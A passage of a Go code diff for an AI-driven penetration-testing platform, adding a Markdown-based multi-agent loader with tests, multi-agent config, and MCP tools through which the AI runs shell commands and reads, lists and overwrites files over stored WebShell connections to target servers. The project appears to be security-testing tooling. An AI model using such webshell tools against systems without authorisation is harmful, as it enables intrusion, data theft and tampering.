return "", "", fmt.Errorf("agents: 缺少结束的 --- 分隔符")
}
fm := strings.TrimSpace(rest[:end])
body = strings.TrimSpace(rest[end+4:])
body = strings.TrimLeft(body, "\r\n")
return fm, body, nil
}
func parseToolsField(v interface{}) []string {
if v == nil {
return nil
}
switch t := v.(type) {
case string:
return splitToolList(t)
case []interface{}:
var out []string
for _, x := range t {
if s, ok := x.(string); ok && strings.TrimSpace(s) != "" {
out = append(out, strings.TrimSpace(s))
}
}
return out
case []string:
var out []string
for _, s := range t {
if strings.TrimSpace(s) != "" {
out = append(out, strings.TrimSpace(s))
}
}
return out
default:
return nil
}
}
func splitToolList(s string) []string {
s = strings.TrimSpace(s)
if s == "" {
return nil
}
parts := strings.FieldsFunc(s, func(r rune) bool {
return r == ',' || r == ';' || r == '|'
})
var out []string
for _, p := range parts {
p = strings.TrimSpace(p)
if p != "" {
out = append(out, p)
}
}
return out
}
// SlugID 从 name 生成可用的代理 id(小写、连字符)。
func SlugID(name string) string {
var b strings.Builder
name = strings.TrimSpace(strings.ToLower(name))
lastDash := false
for _, r := range name {
switch {
case unicode.IsLetter(r) && r < unicode.MaxASCII, unicode.IsDigit(r):
b.WriteRune(r)
lastDash = false
case r == ' ' || r == '_' || r == '/' || r == '.':
if !lastDash && b.Len() > 0 {
b.WriteByte('-')
lastDash = true
}
}
}
s := strings.Trim(b.String(), "-")
if s == "" {
return "agent"
}
return s
}
// sanitizeEinoAgentID 规范化 Deep 主代理在 Eino 中的 Name:小写 ASCII、数字、连字符,与默认 cyberstrike-deep 一致。
func sanitizeEinoAgentID(s string) string {
s = strings.TrimSpace(strings.ToLower(s))
var b strings.Builder
for _, r := range s {
switch {
case unicode.IsLetter(r) && r < unicode.MaxASCII, unicode.IsDigit(r):
b.WriteRune(r)
case r == '-':
b.WriteRune(r)
}
}
out := strings.Trim(b.String(), "-")
if out == "" {
return "cyberstrike-deep"
}
return out
}
func parseMarkdownAgentRaw(filename string, content string) (FrontMatter, string, error) {
var fm FrontMatter
fmStr, body, err := SplitFrontMatter(content)
if err != nil {
return fm, "", err
}
if strings.TrimSpace(fmStr) == "" {
return fm, "", fmt.Errorf("agents: %s 无 YAML front matter", filename)
}
if err := yaml.Unmarshal([]byte(fmStr), &fm); err != nil {
return fm, "", fmt.Errorf("agents: 解析 front matter: %w", err)
}
return fm, body, nil
}
func orchestratorFromParsed(filename string, fm FrontMatter, body string) (*OrchestratorMarkdown, error) {
display := strings.TrimSpace(fm.Name)
if display == "" {
display = "Orchestrator"
}
rawID := strings.TrimSpace(fm.ID)
if rawID == "" {
rawID = SlugID(display)
}
eino := sanitizeEinoAgentID(rawID)
return &OrchestratorMarkdown{
Filename: filepath.Base(strings.TrimSpace(filename)),
EinoName: eino,
DisplayName: display,
Description: strings.TrimSpace(fm.Description),
Instruction: strings.TrimSpace(body),
}, nil
}
func orchestratorConfigFromOrchestrator(o *OrchestratorMarkdown) config.MultiAgentSubConfig {
if o == nil {
return config.MultiAgentSubConfig{}
}
return config.MultiAgentSubConfig{
ID: o.EinoName,
Name: o.DisplayName,
Description: o.Description,
Instruction: o.Instruction,
Kind: "orchestrator",
}
}
func subAgentFromFrontMatter(filename string, fm FrontMatter, body string) (config.MultiAgentSubConfig, error) {
var out config.MultiAgentSubConfig
name := strings.TrimSpace(fm.Name)
if name == "" {
return out, fmt.Errorf("agents: %s 缺少 name 字段", filename)
}
id := strings.TrimSpace(fm.ID)
if id == "" {
id = SlugID(name)
}
out.ID = id
out.Name = name
out.Description = strings.TrimSpace(fm.Description)
out.Instruction = strings.TrimSpace(body)
out.RoleTools = parseToolsField(fm.Tools)
out.MaxIterations = fm.MaxIterations
out.BindRole = strings.TrimSpace(fm.BindRole)
out.Kind = strings.TrimSpace(fm.Kind)
return out, nil
}
func collectMarkdownBasenames(dir string) ([]string, error) {
if strings.TrimSpace(dir) == "" {
return nil, nil
}
st, err := os.Stat(dir)
if err != nil {
if os.IsNotExist(err) {
return nil, nil
}
return nil, err
}
if !st.IsDir() {
return nil, fmt.Errorf("agents: 不是目录: %s", dir)
}
entries, err := os.ReadDir(dir)
if err != nil {
return nil, err
}
var names []string
for _, e := range entries {
if e.IsDir() {
continue
}
n := e.Name()
if strings.HasPrefix(n, ".") {
continue
}
if !strings.EqualFold(filepath.Ext(n), ".md") {
continue
}
if strings.EqualFold(n, "README.md") {
continue
}
names = append(names, n)
}
sort.Strings(names)
return names, nil
}
// LoadMarkdownAgentsDir 扫描 agents 目录:拆出至多一个主代理与其余子代理。
func LoadMarkdownAgentsDir(dir string) (*MarkdownDirLoad, error) {
out := &MarkdownDirLoad{}
names, err := collectMarkdownBasenames(dir)
if err != nil {
return nil, err
}
for _, n := range names {
p := filepath.Join(dir, n)
b, err := os.ReadFile(p)
if err != nil {
return nil, err
}
fm, body, err := parseMarkdownAgentRaw(n, string(b))
if err != nil {
return nil, fmt.Errorf("%s: %w", n, err)
}
if IsOrchestratorMarkdown(n, fm) {
if out.Orchestrator != nil {
return nil, fmt.Errorf("agents: 仅能定义一个主代理(Deep 协调者),已有 %s,又与 %s 冲突", out.Orchestrator.Filename, n)
}
orch, err := orchestratorFromParsed(n, fm, body)
if err != nil {
return nil, fmt.Errorf("%s: %w", n, err)
}
out.Orchestrator = orch
out.FileEntries = append(out.FileEntries, FileAgent{
Filename: n,
Config: orchestratorConfigFromOrchestrator(orch),
IsOrchestrator: true,
})
continue
}
sub, err := subAgentFromFrontMatter(n, fm, body)
if err != nil {
return nil, fmt.Errorf("%s: %w", n, err)
}
out.SubAgents = append(out.SubAgents, sub)
out.FileEntries = append(out.FileEntries, FileAgent{Filename: n, Config: sub, IsOrchestrator: false})
}
return out, nil
}
// ParseMarkdownSubAgent 将单个 Markdown 文件解析为 MultiAgentSubConfig。
func ParseMarkdownSubAgent(filename string, content string) (config.MultiAgentSubConfig, error) {
fm, body, err := parseMarkdownAgentRaw(filename, content)
if err != nil {
return config.MultiAgentSubConfig{}, err
}
if IsOrchestratorMarkdown(filename, fm) {
orch, err := orchestratorFromParsed(filename, fm, body)
if err != nil {
return config.MultiAgentSubConfig{}, err
}
return orchestratorConfigFromOrchestrator(orch), nil
}
return subAgentFromFrontMatter(filename, fm, body)
}
// LoadMarkdownSubAgents 读取目录下所有子代理 .md(不含主代理 orchestrator.md / kind: orchestrator)。
func LoadMarkdownSubAgents(dir string) ([]config.MultiAgentSubConfig, error) {
load, err := LoadMarkdownAgentsDir(dir)
if err != nil {
return nil, err
}
return load.SubAgents, nil
}
// FileAgent 单个 Markdown 文件及其解析结果。
type FileAgent struct {
Filename string
Config config.MultiAgentSubConfig
IsOrchestrator bool
}
// LoadMarkdownAgentFiles 列出目录下全部 .md(含主代理),供管理 API 使用。
func LoadMarkdownAgentFiles(dir string) ([]FileAgent, error) {
load, err := LoadMarkdownAgentsDir(dir)
if err != nil {
return nil, err
}
return load.FileEntries, nil
}
// MergeYAMLAndMarkdown 合并 config.yaml 中的 sub_agents 与 Markdown 定义:同 id 时 Markdown 覆盖 YAML;仅存在于 Markdown 的条目追加在 YAML 顺序之后。
func MergeYAMLAndMarkdown(yamlSubs []config.MultiAgentSubConfig, mdSubs []config.MultiAgentSubConfig) []config.MultiAgentSubConfig {
mdByID := make(map[string]config.MultiAgentSubConfig)
for _, m := range mdSubs {
id := strings.TrimSpace(m.ID)
if id == "" {
continue
}
mdByID[id] = m
}
yamlIDSet := make(map[string]bool)
for _, y := range yamlSubs {
yamlIDSet[strings.TrimSpace(y.ID)] = true
}
out := make([]config.MultiAgentSubConfig, 0, len(yamlSubs)+len(mdSubs))
for _, y := range yamlSubs {
id := strings.TrimSpace(y.ID)
if id == "" {
continue
}
if m, ok := mdByID[id]; ok {
out = append(out, m)
} else {
out = append(out, y)
}
}
for _, m := range mdSubs {
id := strings.TrimSpace(m.ID)
if id == "" || yamlIDSet[id] {
continue
}
out = append(out, m)
}
return out
}
// EffectiveSubAgents 供多代理运行时使用。
func EffectiveSubAgents(yamlSubs []config.MultiAgentSubConfig, agentsDir string) ([]config.MultiAgentSubConfig, error) {
md, err := LoadMarkdownSubAgents(agentsDir)
if err != nil {
return nil, err
}
if len(md) == 0 {
return yamlSubs, nil
}
return MergeYAMLAndMarkdown(yamlSubs, md), nil
}
// BuildMarkdownFile 根据配置序列化为可写回磁盘的 Markdown。
func BuildMarkdownFile(sub config.MultiAgentSubConfig) ([]byte, error) {
fm := FrontMatter{
Name: sub.Name,
ID: sub.ID,
Description: sub.Description,
MaxIterations: sub.MaxIterations,
BindRole: sub.BindRole,
}
if k := strings.TrimSpace(sub.Kind); k != "" {
fm.Kind = k
}
if len(sub.RoleTools) > 0 {
fm.Tools = sub.RoleTools
}
head, err := yaml.Marshal(fm)
if err != nil {
return nil, err
}
var b strings.Builder
b.WriteString("---\n")
b.Write(head)
b.WriteString("---\n\n")
b.WriteString(strings.TrimSpace(sub.Instruction))
if !strings.HasSuffix(sub.Instruction, "\n") && sub.Instruction != "" {
b.WriteString("\n")
}
return []byte(b.String()), nil
}
@@ -0,0 +1,66 @@
package agents
import (
"os"
"path/filepath"
"testing"
)
func TestLoadMarkdownAgentsDir_OrchestratorExcludedFromSubs(t *testing.T) {
dir := t.TempDir()
orch := filepath.Join(dir, OrchestratorMarkdownFilename)
if err := os.WriteFile(orch, []byte(`---
id: cyberstrike-deep
name: Main
description: Test desc
---
Hello orchestrator
`), 0644); err != nil {
t.Fatal(err)
}
subPath := filepath.Join(dir, "worker.md")
if err := os.WriteFile(subPath, []byte(`---
id: worker
name: Worker
description: W
---
Do work
`), 0644); err != nil {
t.Fatal(err)
}
load, err := LoadMarkdownAgentsDir(dir)
if err != nil {
t.Fatal(err)
}
if load.Orchestrator == nil || load.Orchestrator.EinoName != "cyberstrike-deep" {
t.Fatalf("orchestrator: %+v", load.Orchestrator)
}
if len(load.SubAgents) != 1 || load.SubAgents[0].ID != "worker" {
t.Fatalf("subs: %+v", load.SubAgents)
}
if len(load.FileEntries) != 2 {
t.Fatalf("file entries: %d", len(load.FileEntries))
}
var orchFile *FileAgent
for i := range load.FileEntries {
if load.FileEntries[i].IsOrchestrator {
orchFile = &load.FileEntries[i]
break
}
}
if orchFile == nil || orchFile.Filename != OrchestratorMarkdownFilename {
t.Fatal("missing orchestrator file entry")
}
}
func TestLoadMarkdownAgentsDir_DuplicateOrchestrator(t *testing.T) {
dir := t.TempDir()
_ = os.WriteFile(filepath.Join(dir, OrchestratorMarkdownFilename), []byte("---\nname: A\n---\n\nx\n"), 0644)
_ = os.WriteFile(filepath.Join(dir, "b.md"), []byte("---\nname: B\nkind: orchestrator\n---\n\ny\n"), 0644)
_, err := LoadMarkdownAgentsDir(dir)
if err == nil {
t.Fatal("expected duplicate orchestrator error")
}
}
+232 -3
View File
@@ -15,11 +15,11 @@ import (
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/handler"
"cyberstrike-ai/internal/knowledge"
"cyberstrike-ai/internal/robot"
"cyberstrike-ai/internal/logger"
"cyberstrike-ai/internal/mcp"
"cyberstrike-ai/internal/mcp/builtin"
"cyberstrike-ai/internal/openai"
"cyberstrike-ai/internal/robot"
"cyberstrike-ai/internal/security"
"cyberstrike-ai/internal/skills"
"cyberstrike-ai/internal/storage"
@@ -46,7 +46,7 @@ type App struct {
knowledgeHandler *handler.KnowledgeHandler // 知识库处理器(用于动态初始化)
agentHandler *handler.AgentHandler // Agent处理器(用于更新知识库管理器)
robotHandler *handler.RobotHandler // 机器人处理器(钉钉/飞书/企业微信)
robotMu sync.Mutex // 保护钉钉/飞书长连接的 cancel
robotMu sync.Mutex // 保护钉钉/飞书长连接的 cancel
dingCancel context.CancelFunc // 钉钉 Stream 取消函数,用于配置变更时重启
larkCancel context.CancelFunc // 飞书长连接取消函数,用于配置变更时重启
}
@@ -298,6 +298,19 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
skillsManager := skills.NewManager(skillsDir, log.Logger)
log.Logger.Info("Skills管理器已初始化", zap.String("skillsDir", skillsDir))
agentsDir := cfg.AgentsDir
if agentsDir == "" {
agentsDir = "agents"
}
if !filepath.IsAbs(agentsDir) {
agentsDir = filepath.Join(configDir, agentsDir)
}
if err := os.MkdirAll(agentsDir, 0755); err != nil {
log.Logger.Warn("创建 agents 目录失败", zap.String("path", agentsDir), zap.Error(err))
}
markdownAgentsHandler := handler.NewMarkdownAgentsHandler(agentsDir)
log.Logger.Info("多代理 Markdown 子 Agent 目录", zap.String("agentsDir", agentsDir))
// 注册Skills工具到MCP服务器(让AI可以按需调用,带数据库存储支持统计)
// 创建一个适配器,将database.DB适配为SkillStatsStorage接口
var skillStatsStorage skills.SkillStatsStorage
@@ -309,6 +322,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
// 创建处理器
agentHandler := handler.NewAgentHandler(agent, db, cfg, log.Logger)
agentHandler.SetSkillsManager(skillsManager) // 设置Skills管理器
agentHandler.SetAgentsMarkdownDir(agentsDir)
// 如果知识库已启用,设置知识库管理器到AgentHandler以便记录检索日志
if knowledgeManager != nil {
agentHandler.SetKnowledgeManager(knowledgeManager)
@@ -319,6 +333,9 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
authHandler := handler.NewAuthHandler(authManager, cfg, configPath, log.Logger)
attackChainHandler := handler.NewAttackChainHandler(db, &cfg.OpenAI, log.Logger)
vulnerabilityHandler := handler.NewVulnerabilityHandler(db, log.Logger)
webshellHandler := handler.NewWebShellHandler(log.Logger, db)
chatUploadsHandler := handler.NewChatUploadsHandler(log.Logger)
registerWebshellTools(mcpServer, db, webshellHandler, log.Logger)
configHandler := handler.NewConfigHandler(configPath, cfg, mcpServer, executor, agent, attackChainHandler, externalMCPMgr, log.Logger)
externalMCPHandler := handler.NewExternalMCPHandler(externalMCPMgr, cfg, configPath, log.Logger)
roleHandler := handler.NewRoleHandler(cfg, configPath, log.Logger)
@@ -364,6 +381,13 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
}
configHandler.SetVulnerabilityToolRegistrar(vulnerabilityRegistrar)
// 设置 WebShell 工具注册器(ApplyConfig 时重新注册)
webshellRegistrar := func() error {
registerWebshellTools(mcpServer, db, webshellHandler, log.Logger)
return nil
}
configHandler.SetWebshellToolRegistrar(webshellRegistrar)
// 设置Skills工具注册器(内置工具,必须设置)
skillsRegistrar := func() error {
// 创建一个适配器,将database.DB适配为SkillStatsStorage接口
@@ -429,8 +453,11 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
attackChainHandler,
app, // 传递 App 实例以便动态获取 knowledgeHandler
vulnerabilityHandler,
webshellHandler,
chatUploadsHandler,
roleHandler,
skillsHandler,
markdownAgentsHandler,
fofaHandler,
terminalHandler,
mcpServer,
@@ -442,6 +469,21 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
}
// mcpHandlerWithAuth 在鉴权通过后转发到 MCP 处理;若配置了 auth_header 则校验请求头,否则直接放行
func (a *App) mcpHandlerWithAuth(w http.ResponseWriter, r *http.Request) {
cfg := a.config.MCP
if cfg.AuthHeader != "" {
if r.Header.Get(cfg.AuthHeader) != cfg.AuthHeaderValue {
a.logger.Logger.Debug("MCP 鉴权失败:header 缺失或值不匹配", zap.String("header", cfg.AuthHeader))
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusUnauthorized)
w.Write([]byte(`{"error":"unauthorized"}`))
return
}
}
a.mcpServer.HandleHTTP(w, r)
}
// Run 启动应用
func (a *App) Run() error {
// 启动MCP服务器(如果启用)
@@ -451,7 +493,7 @@ func (a *App) Run() error {
a.logger.Info("启动MCP服务器", zap.String("address", mcpAddr))
mux := http.NewServeMux()
mux.HandleFunc("/mcp", a.mcpServer.HandleHTTP)
mux.HandleFunc("/mcp", a.mcpHandlerWithAuth)
if err := http.ListenAndServe(mcpAddr, mux); err != nil {
a.logger.Error("MCP服务器启动失败", zap.Error(err))
@@ -541,8 +583,11 @@ func setupRoutes(
attackChainHandler *handler.AttackChainHandler,
app *App, // 传递 App 实例以便动态获取 knowledgeHandler
vulnerabilityHandler *handler.VulnerabilityHandler,
webshellHandler *handler.WebShellHandler,
chatUploadsHandler *handler.ChatUploadsHandler,
roleHandler *handler.RoleHandler,
skillsHandler *handler.SkillsHandler,
markdownAgentsHandler *handler.MarkdownAgentsHandler,
fofaHandler *handler.FofaHandler,
terminalHandler *handler.TerminalHandler,
mcpServer *mcp.Server,
@@ -582,6 +627,16 @@ func setupRoutes(
protected.GET("/agent-loop/tasks", agentHandler.ListAgentTasks)
protected.GET("/agent-loop/tasks/completed", agentHandler.ListCompletedTasks)
// Eino DeepAgent 多代理(与单 Agent 并存,需 config.multi_agent.enabled
// 多代理路由常注册;是否可用由运行时 h.config.MultiAgent.Enabled 决定(应用配置后无需重启)
protected.POST("/multi-agent", agentHandler.MultiAgentLoop)
protected.POST("/multi-agent/stream", agentHandler.MultiAgentLoopStream)
protected.GET("/multi-agent/markdown-agents", markdownAgentsHandler.ListMarkdownAgents)
protected.GET("/multi-agent/markdown-agents/:filename", markdownAgentsHandler.GetMarkdownAgent)
protected.POST("/multi-agent/markdown-agents", markdownAgentsHandler.CreateMarkdownAgent)
protected.PUT("/multi-agent/markdown-agents/:filename", markdownAgentsHandler.UpdateMarkdownAgent)
protected.DELETE("/multi-agent/markdown-agents/:filename", markdownAgentsHandler.DeleteMarkdownAgent)
// 信息收集 - FOFA 查询(后端代理)
protected.POST("/fofa/search", fofaHandler.Search)
// 信息收集 - 自然语言解析为 FOFA 语法(需人工确认后再查询)
@@ -802,6 +857,28 @@ func setupRoutes(
protected.PUT("/vulnerabilities/:id", vulnerabilityHandler.UpdateVulnerability)
protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
// WebShell 管理(代理执行 + 连接配置存 SQLite)
protected.GET("/webshell/connections", webshellHandler.ListConnections)
protected.POST("/webshell/connections", webshellHandler.CreateConnection)
protected.GET("/webshell/connections/:id/ai-history", webshellHandler.GetAIHistory)
protected.GET("/webshell/connections/:id/ai-conversations", webshellHandler.ListAIConversations)
protected.GET("/webshell/connections/:id/state", webshellHandler.GetConnectionState)
protected.PUT("/webshell/connections/:id", webshellHandler.UpdateConnection)
protected.PUT("/webshell/connections/:id/state", webshellHandler.SaveConnectionState)
protected.DELETE("/webshell/connections/:id", webshellHandler.DeleteConnection)
protected.POST("/webshell/exec", webshellHandler.Exec)
protected.POST("/webshell/file", webshellHandler.FileOp)
// 对话附件(chat_uploads)管理
protected.GET("/chat-uploads", chatUploadsHandler.List)
protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
protected.GET("/chat-uploads/content", chatUploadsHandler.GetContent)
protected.POST("/chat-uploads", chatUploadsHandler.Upload)
protected.POST("/chat-uploads/mkdir", chatUploadsHandler.Mkdir)
protected.DELETE("/chat-uploads", chatUploadsHandler.Delete)
protected.PUT("/chat-uploads/rename", chatUploadsHandler.Rename)
protected.PUT("/chat-uploads/content", chatUploadsHandler.PutContent)
// 角色管理
protected.GET("/roles", roleHandler.GetRoles)
protected.GET("/roles/:name", roleHandler.GetRole)
@@ -1041,6 +1118,158 @@ func registerVulnerabilityTool(mcpServer *mcp.Server, db *database.DB, logger *z
logger.Info("漏洞记录工具注册成功")
}
// registerWebshellTools 注册 WebShell 相关 MCP 工具,供 AI 助手在指定连接上执行命令与文件操作
func registerWebshellTools(mcpServer *mcp.Server, db *database.DB, webshellHandler *handler.WebShellHandler, logger *zap.Logger) {
if db == nil || webshellHandler == nil {
logger.Warn("跳过 WebShell 工具注册:db 或 webshellHandler 为空")
return
}
// webshell_exec
execTool := mcp.Tool{
Name: builtin.ToolWebshellExec,
Description: "在指定的 WebShell 连接上执行一条系统命令,返回命令的标准输出。connection_id 由用户在 AI 助手上下文中选定。",
ShortDescription: "在 WebShell 连接上执行命令",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"connection_id": map[string]interface{}{
"type": "string",
"description": "WebShell 连接 ID(如 ws_xxx",
},
"command": map[string]interface{}{
"type": "string",
"description": "要执行的系统命令",
},
},
"required": []string{"connection_id", "command"},
},
}
execHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
cid, _ := args["connection_id"].(string)
cmd, _ := args["command"].(string)
if cid == "" || cmd == "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 和 command 均为必填"}}, IsError: true}, nil
}
conn, err := db.GetWebshellConnection(cid)
if err != nil || conn == nil {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接或查询失败"}}, IsError: true}, nil
}
output, ok, errMsg := webshellHandler.ExecWithConnection(conn, cmd)
if errMsg != "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
}
if !ok {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "HTTP 非 200,输出:\n" + output}}, IsError: false}, nil
}
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: output}}, IsError: false}, nil
}
mcpServer.RegisterTool(execTool, execHandler)
// webshell_file_list
listTool := mcp.Tool{
Name: builtin.ToolWebshellFileList,
Description: "在指定 WebShell 连接上列出目录内容。path 默认为当前目录(.)。",
ShortDescription: "在 WebShell 上列出目录",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"connection_id": map[string]interface{}{"type": "string", "description": "WebShell 连接 ID"},
"path": map[string]interface{}{"type": "string", "description": "目录路径,默认 ."},
},
"required": []string{"connection_id"},
},
}
listHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
cid, _ := args["connection_id"].(string)
path, _ := args["path"].(string)
if cid == "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 必填"}}, IsError: true}, nil
}
conn, err := db.GetWebshellConnection(cid)
if err != nil || conn == nil {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接"}}, IsError: true}, nil
}
output, ok, errMsg := webshellHandler.FileOpWithConnection(conn, "list", path, "", "")
if errMsg != "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
}
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: output}}, IsError: !ok}, nil
}
mcpServer.RegisterTool(listTool, listHandler)
// webshell_file_read
readTool := mcp.Tool{
Name: builtin.ToolWebshellFileRead,
Description: "在指定 WebShell 连接上读取文件内容。",
ShortDescription: "在 WebShell 上读取文件",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"connection_id": map[string]interface{}{"type": "string", "description": "WebShell 连接 ID"},
"path": map[string]interface{}{"type": "string", "description": "文件路径"},
},
"required": []string{"connection_id", "path"},
},
}
readHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
cid, _ := args["connection_id"].(string)
path, _ := args["path"].(string)
if cid == "" || path == "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 和 path 必填"}}, IsError: true}, nil
}
conn, err := db.GetWebshellConnection(cid)
if err != nil || conn == nil {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接"}}, IsError: true}, nil
}
output, ok, errMsg := webshellHandler.FileOpWithConnection(conn, "read", path, "", "")
if errMsg != "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
}
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: output}}, IsError: !ok}, nil
}
mcpServer.RegisterTool(readTool, readHandler)
// webshell_file_write
writeTool := mcp.Tool{
Name: builtin.ToolWebshellFileWrite,
Description: "在指定 WebShell 连接上写入文件内容(会覆盖已有文件)。",
ShortDescription: "在 WebShell 上写入文件",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"connection_id": map[string]interface{}{"type": "string", "description": "WebShell 连接 ID"},
"path": map[string]interface{}{"type": "string", "description": "文件路径"},
"content": map[string]interface{}{"type": "string", "description": "要写入的内容"},
},
"required": []string{"connection_id", "path", "content"},
},
}
writeHandler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
cid, _ := args["connection_id"].(string)
path, _ := args["path"].(string)
content, _ := args["content"].(string)
if cid == "" || path == "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "connection_id 和 path 必填"}}, IsError: true}, nil
}
conn, err := db.GetWebshellConnection(cid)
if err != nil || conn == nil {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "未找到该 WebShell 连接"}}, IsError: true}, nil
}
output, ok, errMsg := webshellHandler.FileOpWithConnection(conn, "write", path, content, "")
if errMsg != "" {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: errMsg}}, IsError: true}, nil
}
if !ok {
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "写入可能失败,输出:\n" + output}}, IsError: false}, nil
}
return &mcp.ToolResult{Content: []mcp.Content{{Type: "text", Text: "写入成功\n" + output}}, IsError: false}, nil
}
mcpServer.RegisterTool(writeTool, writeHandler)
logger.Info("WebShell 工具注册成功")
}
// initializeKnowledge 初始化知识库组件(用于动态初始化)
func initializeKnowledge(
cfg *config.Config,
+204 -34
View File
@@ -3,6 +3,8 @@ package config
import (
"crypto/rand"
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"os"
"path/filepath"
@@ -29,23 +31,68 @@ type Config struct {
RolesDir string `yaml:"roles_dir,omitempty" json:"roles_dir,omitempty"` // 角色配置文件目录(新方式)
Roles map[string]RoleConfig `yaml:"roles,omitempty" json:"roles,omitempty"` // 向后兼容:支持在主配置文件中定义角色
SkillsDir string `yaml:"skills_dir,omitempty" json:"skills_dir,omitempty"` // Skills配置文件目录
AgentsDir string `yaml:"agents_dir,omitempty" json:"agents_dir,omitempty"` // 多代理子 Agent Markdown 定义目录(*.mdYAML front matter
MultiAgent MultiAgentConfig `yaml:"multi_agent,omitempty" json:"multi_agent,omitempty"`
}
// MultiAgentConfig 基于 CloudWeGo Eino DeepAgent 的多代理编排(与单 Agent /agent-loop 并存)。
type MultiAgentConfig struct {
Enabled bool `yaml:"enabled" json:"enabled"`
DefaultMode string `yaml:"default_mode" json:"default_mode"` // single | multi,供前端默认展示
RobotUseMultiAgent bool `yaml:"robot_use_multi_agent" json:"robot_use_multi_agent"` // 为 true 时钉钉/飞书/企微机器人走 Eino 多代理
BatchUseMultiAgent bool `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
MaxIteration int `yaml:"max_iteration" json:"max_iteration"` // Deep 主代理最大推理轮次
SubAgentMaxIterations int `yaml:"sub_agent_max_iterations" json:"sub_agent_max_iterations"`
WithoutGeneralSubAgent bool `yaml:"without_general_sub_agent" json:"without_general_sub_agent"`
WithoutWriteTodos bool `yaml:"without_write_todos" json:"without_write_todos"`
OrchestratorInstruction string `yaml:"orchestrator_instruction" json:"orchestrator_instruction"`
SubAgents []MultiAgentSubConfig `yaml:"sub_agents" json:"sub_agents"`
}
// MultiAgentSubConfig 子代理(Eino ChatModelAgent),由 DeepAgent 通过 task 工具调度。
type MultiAgentSubConfig struct {
ID string `yaml:"id" json:"id"`
Name string `yaml:"name" json:"name"`
Description string `yaml:"description" json:"description"`
Instruction string `yaml:"instruction" json:"instruction"`
BindRole string `yaml:"bind_role,omitempty" json:"bind_role,omitempty"` // 可选:关联主配置 roles 中的角色名;未配 role_tools 时沿用该角色的 tools,并把 skills 写入指令提示
RoleTools []string `yaml:"role_tools" json:"role_tools"` // 与单 Agent 角色工具相同 key;空表示全部工具(bind_role 可补全 tools
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
Kind string `yaml:"kind,omitempty" json:"kind,omitempty"` // 仅 Markdownkind=orchestrator 表示 Deep 主代理(与 orchestrator.md 二选一约定)
}
// MultiAgentPublic 返回给前端的精简信息(不含子代理指令全文)。
type MultiAgentPublic struct {
Enabled bool `json:"enabled"`
DefaultMode string `json:"default_mode"`
RobotUseMultiAgent bool `json:"robot_use_multi_agent"`
BatchUseMultiAgent bool `json:"batch_use_multi_agent"`
SubAgentCount int `json:"sub_agent_count"`
}
// MultiAgentAPIUpdate 设置页/API 仅更新多代理标量字段;写入 YAML 时不覆盖 sub_agents 等块。
type MultiAgentAPIUpdate struct {
Enabled bool `json:"enabled"`
DefaultMode string `json:"default_mode"`
RobotUseMultiAgent bool `json:"robot_use_multi_agent"`
BatchUseMultiAgent bool `json:"batch_use_multi_agent"`
}
// RobotsConfig 机器人配置(企业微信、钉钉、飞书等)
type RobotsConfig struct {
Wecom RobotWecomConfig `yaml:"wecom,omitempty" json:"wecom,omitempty"` // 企业微信
Wecom RobotWecomConfig `yaml:"wecom,omitempty" json:"wecom,omitempty"` // 企业微信
Dingtalk RobotDingtalkConfig `yaml:"dingtalk,omitempty" json:"dingtalk,omitempty"` // 钉钉
Lark RobotLarkConfig `yaml:"lark,omitempty" json:"lark,omitempty"` // 飞书
Lark RobotLarkConfig `yaml:"lark,omitempty" json:"lark,omitempty"` // 飞书
}
// RobotWecomConfig 企业微信机器人配置
type RobotWecomConfig struct {
Enabled bool `yaml:"enabled" json:"enabled"`
Token string `yaml:"token" json:"token"` // 回调 URL 校验 Token
Enabled bool `yaml:"enabled" json:"enabled"`
Token string `yaml:"token" json:"token"` // 回调 URL 校验 Token
EncodingAESKey string `yaml:"encoding_aes_key" json:"encoding_aes_key"` // EncodingAESKey
CorpID string `yaml:"corp_id" json:"corp_id"` // 企业 ID
Secret string `yaml:"secret" json:"secret"` // 应用 Secret
